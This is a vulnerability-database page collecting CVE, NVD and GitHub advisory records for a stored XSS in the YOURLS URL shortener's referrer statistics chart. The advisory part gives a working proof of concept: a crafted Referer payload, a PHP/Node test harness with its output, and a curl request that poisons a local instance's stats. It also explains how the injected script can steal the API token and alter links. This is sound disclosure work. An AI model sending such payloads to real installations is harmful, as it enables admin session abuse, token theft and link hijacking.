Vulnerability-Lookup

CVE-2026-63135 (GCVE-0-2026-63135)

Vulnerability from cvelistv5 – Published: 2026-08-21 20:40 – Updated: 2026-08-26 17:40

Title

YOURLS: Stored XSS in referrer statistics chart via crafted Referer header

Summary

YOURLS is a self-hosted, customizable URL shortener written in PHP. From 1.5.1 until 1.10.4, YOURLS stores the HTTP Referer header through yourls_get_referrer(), yourls_sanitize_url_safe(), and yourls_log_redirect(), then aggregates the value in yourls-infos.php and passes the derived domain through yourls_get_domain(), yourls_stats_pie(), and yourls_google_array_to_data_table(). The chart builder concatenates labels into inline JavaScript without JavaScript-string escaping, so an unauthenticated attacker can poison the statistics of an existing short URL with a crafted referrer. When an administrator or public stats-page viewer opens the affected statistics page, attacker-controlled JavaScript executes in the YOURLS origin and can access admin-visible data, the API signature token, and privileged same-origin actions. This issue is fixed in version 1.10.4.

Severity

8.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-26 17:40 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/YOURLS/YOURLS/security/advisor…	x_refsource_CONFIRM
https://github.com/YOURLS/YOURLS/pull/4107	x_refsource_MISC
https://github.com/YOURLS/YOURLS/commit/e1e934766…	x_refsource_MISC
https://github.com/YOURLS/YOURLS/releases/tag/1.10.4	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
YOURLS	YOURLS	Affected: >= 1.5.1, < 1.10.4	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-63135",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-26T17:40:19.146156Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-26T17:40:42.981Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/YOURLS/YOURLS/security/advisories/GHSA-5h77-88j3-r659"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "YOURLS",
          "vendor": "YOURLS",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.5.1, \u003c 1.10.4"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "YOURLS is a self-hosted, customizable URL shortener written in PHP. From 1.5.1 until 1.10.4, YOURLS stores the HTTP Referer header through yourls_get_referrer(), yourls_sanitize_url_safe(), and yourls_log_redirect(), then aggregates the value in yourls-infos.php and passes the derived domain through yourls_get_domain(), yourls_stats_pie(), and yourls_google_array_to_data_table(). The chart builder concatenates labels into inline JavaScript without JavaScript-string escaping, so an unauthenticated attacker can poison the statistics of an existing short URL with a crafted referrer. When an administrator or public stats-page viewer opens the affected statistics page, attacker-controlled JavaScript executes in the YOURLS origin and can access admin-visible data, the API signature token, and privileged same-origin actions. This issue is fixed in version 1.10.4."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "LOW",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-21T20:40:08.199Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/YOURLS/YOURLS/security/advisories/GHSA-5h77-88j3-r659",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/YOURLS/YOURLS/security/advisories/GHSA-5h77-88j3-r659"
        },
        {
          "name": "https://github.com/YOURLS/YOURLS/pull/4107",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/YOURLS/YOURLS/pull/4107"
        },
        {
          "name": "https://github.com/YOURLS/YOURLS/commit/e1e93476655107e6caab34e52259eb1c91079ec7",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/YOURLS/YOURLS/commit/e1e93476655107e6caab34e52259eb1c91079ec7"
        },
        {
          "name": "https://github.com/YOURLS/YOURLS/releases/tag/1.10.4",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/YOURLS/YOURLS/releases/tag/1.10.4"
        }
      ],
      "source": {
        "advisory": "GHSA-5h77-88j3-r659",
        "discovery": "UNKNOWN"
      },
      "title": "YOURLS: Stored XSS in referrer statistics chart via crafted Referer header"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-63135",
    "datePublished": "2026-08-21T20:40:08.199Z",
    "dateReserved": "2026-07-15T16:54:55.817Z",
    "dateUpdated": "2026-08-26T17:40:42.981Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-63135",
      "date": "2026-09-23",
      "epss": "0.00314",
      "percentile": "0.2458"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "YOURLS",
                "vendor": "YOURLS",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003e= 1.5.1, \u003c 1.10.4"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "YOURLS is a self-hosted, customizable URL shortener written in PHP. From 1.5.1 until 1.10.4, YOURLS stores the HTTP Referer header through yourls_get_referrer(), yourls_sanitize_url_safe(), and yourls_log_redirect(), then aggregates the value in yourls-infos.php and passes the derived domain through yourls_get_domain(), yourls_stats_pie(), and yourls_google_array_to_data_table(). The chart builder concatenates labels into inline JavaScript without JavaScript-string escaping, so an unauthenticated attacker can poison the statistics of an existing short URL with a crafted referrer. When an administrator or public stats-page viewer opens the affected statistics page, attacker-controlled JavaScript executes in the YOURLS origin and can access admin-visible data, the API signature token, and privileged same-origin actions. This issue is fixed in version 1.10.4."
          }
        ],
        "id": "CVE-2026-63135",
        "lastModified": "2026-09-09T21:06:39.057",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 8.2,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "LOW",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "CHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 4.7,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-63135",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-26T17:40:19.146156Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-08-21T21:17:01.493",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/YOURLS/YOURLS/commit/e1e93476655107e6caab34e52259eb1c91079ec7"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/YOURLS/YOURLS/pull/4107"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/YOURLS/YOURLS/releases/tag/1.10.4"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/YOURLS/YOURLS/security/advisories/GHSA-5h77-88j3-r659"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/YOURLS/YOURLS/security/advisories/GHSA-5h77-88j3-r659"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-79"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-63135",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-08-26T17:40:19.146156Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-08-26T17:40:39.251Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/YOURLS/YOURLS/security/advisories/GHSA-5h77-88j3-r659"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "YOURLS",
              "vendor": "YOURLS",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003e= 1.5.1, \u003c 1.10.4"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "YOURLS is a self-hosted, customizable URL shortener written in PHP. From 1.5.1 until 1.10.4, YOURLS stores the HTTP Referer header through yourls_get_referrer(), yourls_sanitize_url_safe(), and yourls_log_redirect(), then aggregates the value in yourls-infos.php and passes the derived domain through yourls_get_domain(), yourls_stats_pie(), and yourls_google_array_to_data_table(). The chart builder concatenates labels into inline JavaScript without JavaScript-string escaping, so an unauthenticated attacker can poison the statistics of an existing short URL with a crafted referrer. When an administrator or public stats-page viewer opens the affected statistics page, attacker-controlled JavaScript executes in the YOURLS origin and can access admin-visible data, the API signature token, and privileged same-origin actions. This issue is fixed in version 1.10.4."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 8.2,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "LOW",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "CHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-79",
                  "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-08-21T20:40:08.199Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/YOURLS/YOURLS/security/advisories/GHSA-5h77-88j3-r659",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/YOURLS/YOURLS/security/advisories/GHSA-5h77-88j3-r659"
            },
            {
              "name": "https://github.com/YOURLS/YOURLS/pull/4107",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/YOURLS/YOURLS/pull/4107"
            },
            {
              "name": "https://github.com/YOURLS/YOURLS/commit/e1e93476655107e6caab34e52259eb1c91079ec7",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/YOURLS/YOURLS/commit/e1e93476655107e6caab34e52259eb1c91079ec7"
            },
            {
              "name": "https://github.com/YOURLS/YOURLS/releases/tag/1.10.4",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/YOURLS/YOURLS/releases/tag/1.10.4"
            }
          ],
          "source": {
            "advisory": "GHSA-5h77-88j3-r659",
            "discovery": "UNKNOWN"
          },
          "title": "YOURLS: Stored XSS in referrer statistics chart via crafted Referer header"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-63135",
        "datePublished": "2026-08-21T20:40:08.199Z",
        "dateReserved": "2026-07-15T16:54:55.817Z",
        "dateUpdated": "2026-08-26T17:40:42.981Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-63135

Vulnerability from fkie_nvd - Published: 2026-08-21 21:17 - Updated: 2026-09-09 21:06

Severity

8.2 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/YOURLS/YOURLS/commit/e1e93476655107e6caab34e52259eb1c91079ec7
	security-advisories@github.com	https://github.com/YOURLS/YOURLS/pull/4107
	security-advisories@github.com	https://github.com/YOURLS/YOURLS/releases/tag/1.10.4
	security-advisories@github.com	https://github.com/YOURLS/YOURLS/security/advisories/GHSA-5h77-88j3-r659
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/YOURLS/YOURLS/security/advisories/GHSA-5h77-88j3-r659

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "YOURLS",
          "vendor": "YOURLS",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.5.1, \u003c 1.10.4"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "YOURLS is a self-hosted, customizable URL shortener written in PHP. From 1.5.1 until 1.10.4, YOURLS stores the HTTP Referer header through yourls_get_referrer(), yourls_sanitize_url_safe(), and yourls_log_redirect(), then aggregates the value in yourls-infos.php and passes the derived domain through yourls_get_domain(), yourls_stats_pie(), and yourls_google_array_to_data_table(). The chart builder concatenates labels into inline JavaScript without JavaScript-string escaping, so an unauthenticated attacker can poison the statistics of an existing short URL with a crafted referrer. When an administrator or public stats-page viewer opens the affected statistics page, attacker-controlled JavaScript executes in the YOURLS origin and can access admin-visible data, the API signature token, and privileged same-origin actions. This issue is fixed in version 1.10.4."
    }
  ],
  "id": "CVE-2026-63135",
  "lastModified": "2026-09-09T21:06:39.057",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.2,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "LOW",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 4.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-63135",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-26T17:40:19.146156Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-21T21:17:01.493",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/YOURLS/YOURLS/commit/e1e93476655107e6caab34e52259eb1c91079ec7"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/YOURLS/YOURLS/pull/4107"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/YOURLS/YOURLS/releases/tag/1.10.4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/YOURLS/YOURLS/security/advisories/GHSA-5h77-88j3-r659"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/YOURLS/YOURLS/security/advisories/GHSA-5h77-88j3-r659"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-5H77-88J3-R659

Vulnerability from github – Published: 2026-08-21 20:57 – Updated: 2026-08-21 20:57

Summary

YOURLS has stored XSS in referrer statistics chart via crafted Referer header

Details

Summary

YOURLS stores the HTTP Referer header for short URL redirects and later renders aggregated referrer domains in the per-link statistics page. An unauthenticated attacker can send a crafted Referer header to any existing short URL. When an authenticated administrator or stats-page viewer opens that short URL's statistics page, the crafted referrer is embedded into Google Charts JavaScript without JavaScript-string escaping, causing stored cross-site scripting.

This is reachable in default private installations when authenticated users view stats, and in documented configurations where YOURLS_PRIVATE_INFOS is set to false to make statistics pages public.

Details

The vulnerable source-to-sink path is:

HTTP Referer header
  -> yourls_get_referrer()
  -> yourls_sanitize_url_safe()
  -> yourls_log_redirect()
  -> log table referrer column
  -> yourls-infos.php referrer aggregation
  -> yourls_get_domain()
  -> yourls_stats_pie()
  -> yourls_google_array_to_data_table()
  -> inline JavaScript

Relevant code:

includes/functions.php:240-243: yourls_get_referrer() reads $_SERVER['HTTP_REFERER'], calls yourls_sanitize_url_safe(), and truncates the result to 200 bytes.
includes/functions.php:294-307: yourls_redirect_shorturl() calls yourls_log_redirect() before redirecting the visitor.
includes/functions.php:516-545: yourls_log_redirect() stores the sanitized referrer in the log table.
yourls-infos.php:60-82: the statistics page reads logged referrers and groups them by yourls_get_domain($row->referrer).
yourls-infos.php:493-498: the statistics page passes referrer domains to yourls_stats_pie().
includes/functions-infos.php:338-355: yourls_google_array_to_data_table() manually concatenates labels into JavaScript as ['$label', ...] without escaping single quotes, backslashes, or other JavaScript string metacharacters.
includes/functions-formatting.php:141-143 and includes/functions-formatting.php:555-609: yourls_sanitize_url_safe() removes some unsafe characters and CRLF sequences, but still permits the characters needed for JavaScript-string breakout, including ', [, ], ,, and parentheses.

A crafted referrer host such as:

x',1],['marker',alert(1)],['z.tld

survives sanitization when used in a URL like:

http://x',1],['marker',alert(1)],['z.tld/path

It is then rendered into chart JavaScript like:

var data = google.visualization.arrayToDataTable([
    ['x',1],['marker',alert(1)],['z.tld',1]
]);

The alert(1) call is only a benign proof marker. An attacker could execute arbitrary JavaScript in the stats viewer's browser context.

PoC

The following local harness was run against commit c3fc8e2370d240403c17c2e4a70e1e234759a5b3. It exercises YOURLS' real URL sanitizer, domain extraction, and yourls_stats_pie() chart rendering path, then executes the generated chart script in Node with stubs for Google Charts and alert().

docker run --rm --network none -v "$PWD:/repo:ro" -w /repo phpmyadmin:5.2.1 php -d display_startup_errors=0 -r '
define("IDNA_DEFAULT",0);
define("INTL_IDNA_VARIANT_UTS46",1);
function yourls_add_action(){ }
function yourls_do_action(){ }
function yourls_apply_filter($tag,$value){ return $value; }
function yourls_get_protocol($url){ preg_match("!^[a-zA-Z][a-zA-Z0-9+.-]+:(//)?!", $url, $m); return isset($m[0]) ? $m[0] : ""; }
function yourls_is_allowed_protocol($url,$protocols=[]){ if(!$protocols){ global $yourls_allowedprotocols; $protocols=$yourls_allowedprotocols; } return in_array(yourls_get_protocol($url), $protocols); }
if(!function_exists("idn_to_utf8")){ function idn_to_utf8($domain,$flags=0,$variant=0){ return $domain; } }
require "includes/vendor/autoload.php";
require "includes/functions-kses.php";
yourls_kses_init();
require "includes/functions-formatting.php";
require "includes/functions-infos.php";
$ref="http://x\x27,1],[\x27marker\x27,alert(1)],[\x27z.tld/path";
$san=substr(yourls_sanitize_url_safe($ref),0,200);
$host=yourls_get_domain($san);
ob_start();
yourls_stats_pie([$host=>1,"benign.example"=>1,"another.example"=>1], 5, "440x220", "stat_tab_source_ref");
$html=ob_get_clean();
preg_match("#<script[^>]*>(.*?)</script>#s", $html, $m);
$js="global.pwned=0; function alert(x){global.pwned=x}; const google={setOnLoadCallback:(fn)=>fn(),visualization:{arrayToDataTable:(x)=>x,PieChart:function(){this.draw=function(){}}}}; document={getElementById:(id)=>({id})}; ".$m[1]."; console.log(\x27san=\x27+".json_encode($san)."); console.log(\x27host=\x27+".json_encode($host)."); console.log(\x27pwned=\x27+global.pwned);";
echo $js;
' 2>/dev/null > /tmp/yourls-xss-harness.js && node /tmp/yourls-xss-harness.js

Observed output:

san=http://x',1],['marker',alert(1)],['z.tld/path
host=x',1],['marker',alert(1)],['z.tld
pwned=1

A request that would poison statistics for an existing short URL in a local YOURLS instance is:

curl -H "Referer: http://x',1],['marker',alert(1)],['z.tld/path" \
  http://localhost/<existing-keyword>

Then view the affected short URL's stats page:

http://localhost/<existing-keyword>+

The payload is short enough to survive YOURLS' 200-byte referrer truncation and still executes when additional benign referrers are present.

Impact

Beyond executing arbitrary JavaScript in the victim's browser, the stored XSS runs in the authenticated YOURLS origin and can perform privileged same-origin actions.

In a private installation, an attacker can use the victim administrator's session to fetch admin pages, read embedded CSRF nonces, and call admin AJAX endpoints to create, edit, or delete short URLs. This allows replacing existing short-link destinations with attacker-controlled phishing or malware URLs, deleting links, and modifying link metadata.

The XSS can also fetch /admin/tools.php and read the victim's secret API signature token. That token authenticates passwordless API requests and can be reused outside the victim's browser session to create short URLs and query URL/global statistics until the underlying secret changes.

Confidentiality impact includes access to admin-visible URL inventory and metadata such as long URLs, titles, creator IP addresses, timestamps, click counts, referrer statistics, and the API signature token. Integrity impact includes persistent modification of short-link destinations and deletion/creation of links.

Credits

Thai Son Dinh from VinSOC Labs (R&D)

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.10.3"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "yourls/yourls"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.1"
            },
            {
              "fixed": "1.10.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63135"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-21T20:57:23Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nYOURLS stores the HTTP `Referer` header for short URL redirects and later renders aggregated referrer domains in the per-link statistics page. An unauthenticated attacker can send a crafted `Referer` header to any existing short URL. When an authenticated administrator or stats-page viewer opens that short URL\u0027s statistics page, the crafted referrer is embedded into Google Charts JavaScript without JavaScript-string escaping, causing stored cross-site scripting.\n\nThis is reachable in default private installations when authenticated users view stats, and in documented configurations where `YOURLS_PRIVATE_INFOS` is set to `false` to make statistics pages public.\n\n### Details\n\nThe vulnerable source-to-sink path is:\n\n```text\nHTTP Referer header\n  -\u003e yourls_get_referrer()\n  -\u003e yourls_sanitize_url_safe()\n  -\u003e yourls_log_redirect()\n  -\u003e log table referrer column\n  -\u003e yourls-infos.php referrer aggregation\n  -\u003e yourls_get_domain()\n  -\u003e yourls_stats_pie()\n  -\u003e yourls_google_array_to_data_table()\n  -\u003e inline JavaScript\n```\n\nRelevant code:\n\n- `includes/functions.php:240-243`: `yourls_get_referrer()` reads `$_SERVER[\u0027HTTP_REFERER\u0027]`, calls `yourls_sanitize_url_safe()`, and truncates the result to 200 bytes.\n- `includes/functions.php:294-307`: `yourls_redirect_shorturl()` calls `yourls_log_redirect()` before redirecting the visitor.\n- `includes/functions.php:516-545`: `yourls_log_redirect()` stores the sanitized referrer in the log table.\n- `yourls-infos.php:60-82`: the statistics page reads logged referrers and groups them by `yourls_get_domain($row-\u003ereferrer)`.\n- `yourls-infos.php:493-498`: the statistics page passes referrer domains to `yourls_stats_pie()`.\n- `includes/functions-infos.php:338-355`: `yourls_google_array_to_data_table()` manually concatenates labels into JavaScript as `[\u0027$label\u0027, ...]` without escaping single quotes, backslashes, or other JavaScript string metacharacters.\n- `includes/functions-formatting.php:141-143` and `includes/functions-formatting.php:555-609`: `yourls_sanitize_url_safe()` removes some unsafe characters and CRLF sequences, but still permits the characters needed for JavaScript-string breakout, including `\u0027`, `[`, `]`, `,`, and parentheses.\n\nA crafted referrer host such as:\n\n```text\nx\u0027,1],[\u0027marker\u0027,alert(1)],[\u0027z.tld\n```\n\nsurvives sanitization when used in a URL like:\n\n```text\nhttp://x\u0027,1],[\u0027marker\u0027,alert(1)],[\u0027z.tld/path\n```\n\nIt is then rendered into chart JavaScript like:\n\n```javascript\nvar data = google.visualization.arrayToDataTable([\n    [\u0027x\u0027,1],[\u0027marker\u0027,alert(1)],[\u0027z.tld\u0027,1]\n]);\n```\n\nThe `alert(1)` call is only a benign proof marker. An attacker could execute arbitrary JavaScript in the stats viewer\u0027s browser context.\n\n### PoC\n\nThe following local harness was run against commit `c3fc8e2370d240403c17c2e4a70e1e234759a5b3`. It exercises YOURLS\u0027 real URL sanitizer, domain extraction, and `yourls_stats_pie()` chart rendering path, then executes the generated chart script in Node with stubs for Google Charts and `alert()`.\n\n```sh\ndocker run --rm --network none -v \"$PWD:/repo:ro\" -w /repo phpmyadmin:5.2.1 php -d display_startup_errors=0 -r \u0027\ndefine(\"IDNA_DEFAULT\",0);\ndefine(\"INTL_IDNA_VARIANT_UTS46\",1);\nfunction yourls_add_action(){ }\nfunction yourls_do_action(){ }\nfunction yourls_apply_filter($tag,$value){ return $value; }\nfunction yourls_get_protocol($url){ preg_match(\"!^[a-zA-Z][a-zA-Z0-9+.-]+:(//)?!\", $url, $m); return isset($m[0]) ? $m[0] : \"\"; }\nfunction yourls_is_allowed_protocol($url,$protocols=[]){ if(!$protocols){ global $yourls_allowedprotocols; $protocols=$yourls_allowedprotocols; } return in_array(yourls_get_protocol($url), $protocols); }\nif(!function_exists(\"idn_to_utf8\")){ function idn_to_utf8($domain,$flags=0,$variant=0){ return $domain; } }\nrequire \"includes/vendor/autoload.php\";\nrequire \"includes/functions-kses.php\";\nyourls_kses_init();\nrequire \"includes/functions-formatting.php\";\nrequire \"includes/functions-infos.php\";\n$ref=\"http://x\\x27,1],[\\x27marker\\x27,alert(1)],[\\x27z.tld/path\";\n$san=substr(yourls_sanitize_url_safe($ref),0,200);\n$host=yourls_get_domain($san);\nob_start();\nyourls_stats_pie([$host=\u003e1,\"benign.example\"=\u003e1,\"another.example\"=\u003e1], 5, \"440x220\", \"stat_tab_source_ref\");\n$html=ob_get_clean();\npreg_match(\"#\u003cscript[^\u003e]*\u003e(.*?)\u003c/script\u003e#s\", $html, $m);\n$js=\"global.pwned=0; function alert(x){global.pwned=x}; const google={setOnLoadCallback:(fn)=\u003efn(),visualization:{arrayToDataTable:(x)=\u003ex,PieChart:function(){this.draw=function(){}}}}; document={getElementById:(id)=\u003e({id})}; \".$m[1].\"; console.log(\\x27san=\\x27+\".json_encode($san).\"); console.log(\\x27host=\\x27+\".json_encode($host).\"); console.log(\\x27pwned=\\x27+global.pwned);\";\necho $js;\n\u0027 2\u003e/dev/null \u003e /tmp/yourls-xss-harness.js \u0026\u0026 node /tmp/yourls-xss-harness.js\n```\n\nObserved output:\n\n```text\nsan=http://x\u0027,1],[\u0027marker\u0027,alert(1)],[\u0027z.tld/path\nhost=x\u0027,1],[\u0027marker\u0027,alert(1)],[\u0027z.tld\npwned=1\n```\n\nA request that would poison statistics for an existing short URL in a local YOURLS instance is:\n\n```sh\ncurl -H \"Referer: http://x\u0027,1],[\u0027marker\u0027,alert(1)],[\u0027z.tld/path\" \\\n  http://localhost/\u003cexisting-keyword\u003e\n```\n\nThen view the affected short URL\u0027s stats page:\n\n```text\nhttp://localhost/\u003cexisting-keyword\u003e+\n```\n\nThe payload is short enough to survive YOURLS\u0027 200-byte referrer truncation and still executes when additional benign referrers are present.\n\n### Impact\n\nBeyond executing arbitrary JavaScript in the victim\u0027s browser, the stored XSS runs in the authenticated YOURLS origin and can perform privileged same-origin actions.\n\nIn a private installation, an attacker can use the victim administrator\u0027s session to fetch admin pages, read embedded CSRF nonces, and call admin AJAX endpoints to create, edit, or delete short URLs. This allows replacing existing short-link destinations with attacker-controlled phishing or malware URLs, deleting links, and modifying link metadata.\n\nThe XSS can also fetch `/admin/tools.php` and read the victim\u0027s secret API signature token. That token authenticates passwordless API requests and can be reused outside the victim\u0027s browser session to create short URLs and query URL/global statistics until the underlying secret changes.\n\nConfidentiality impact includes access to admin-visible URL inventory and metadata such as long URLs, titles, creator IP addresses, timestamps, click counts, referrer statistics, and the API signature token. Integrity impact includes persistent modification of short-link destinations and deletion/creation of links.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R\u0026D)",
